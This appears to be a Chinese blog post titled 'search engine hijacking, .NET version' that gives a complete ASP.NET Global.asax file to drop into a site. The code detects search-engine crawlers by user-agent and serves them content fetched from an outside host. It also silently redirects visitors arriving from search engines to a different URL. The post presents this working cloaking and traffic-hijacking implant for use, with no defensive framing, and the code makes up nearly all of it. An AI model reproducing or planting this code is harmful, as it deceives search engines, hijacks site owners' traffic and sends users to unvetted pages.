搜索引擎劫持.net版

注意要保存为Global.asax
  1. <%@ Application Language="C#" %>
  2. <script runat="server">

  3.     void Application_Start(object sender, EventArgs e)
  4.     {
  5.         //在应用程序启动时运行的代码
  6.     }
  7.    
  8.     void Application_End(object sender, EventArgs e)
  9.     {
  10.         //在应用程序关闭时运行的代码
  11.     }
  12.         
  13.     void Application_Error(object sender, EventArgs e)
  14.     {
  15.         //在出现未处理的错误时运行的代码
  16.     }

  17.     void Session_Start(object sender, EventArgs e)
  18.     {
  19.         //在新会话启动时运行的代码
  20.         //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent);
  21.             string data_url = "http://www.zzz.com";//要展示给搜索引擎的页面
  22.         string redirect_url="http://www.zzz.com/1.asp";//从搜索引擎点击进来跳转的页面
  23.         if (is_spider())
  24.         {
  25.             HttpContext.Current.Response.Clear();
  26.             HttpContext.Current.Response.BinaryWrite(get_data(data_url));
  27.             HttpContext.Current.Response.End();
  28.         }
  29.         else if(is_from_search())
  30.         {
  31.             HttpContext.Current.Response.Redirect(redirect_url, true);
  32.         }
  33.         else
  34.         {
  35.             //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent);
  36.         }
  37.     }

  38.     void Session_End(object sender, EventArgs e)
  39.     {
  40.         //在会话结束时运行的代码。
  41.         // 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为
  42.         // InProc 时,才会引发 Session_End 事件。如果会话模式
  43.         //设置为 StateServer 或 SQLServer,则不会引发该事件。

  44.     }
  45.     public bool is_spider()
  46.     {
  47.         string spider_flag = "googlebot|baiduspider|sogou|yahoo|soso";//这里添加搜索引擎user-agent标识
  48.         string[] spider_flag_arr = spider_flag.Split('|');
  49.         string user_agent=HttpContext.Current.Request.UserAgent;
  50.         foreach (string tmp_flag in spider_flag_arr)
  51.         {
  52.             if (user_agent.ToLower().IndexOf(tmp_flag.ToLower())!=-1) { return true; }
  53.         }
  54.         return false;
  55.     }
  56.         public bool is_from_search()
  57.     {
  58.         if (HttpContext.Current.Request.UrlReferrer==null)
  59.         {
  60.         return false;
  61.         }
  62.         else
  63.         {
  64.         string page_ref = HttpContext.Current.Request.UrlReferrer.ToString();
  65.         string search_flag = "google|baidu|sogou|yahoo|soso"; //这里添加搜索引擎url标识
  66.         string[] search_flag_arr = search_flag.Split('|');
  67.         foreach (string tmp_flag in search_flag_arr)
  68.         {
  69.             if (page_ref.ToLower().IndexOf(tmp_flag.ToLower()) != -1) { return true; }
  70.         }
  71.         return false;
  72.         }
  73.     }
  74.     public byte[] get_data(string url)
  75.     {
  76.         System.Net.WebClient wc = new System.Net.WebClient();
  77.         byte[] data = wc.DownloadData(url);
  78.         return data;
  79.     }
  80.       
  81. </script>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值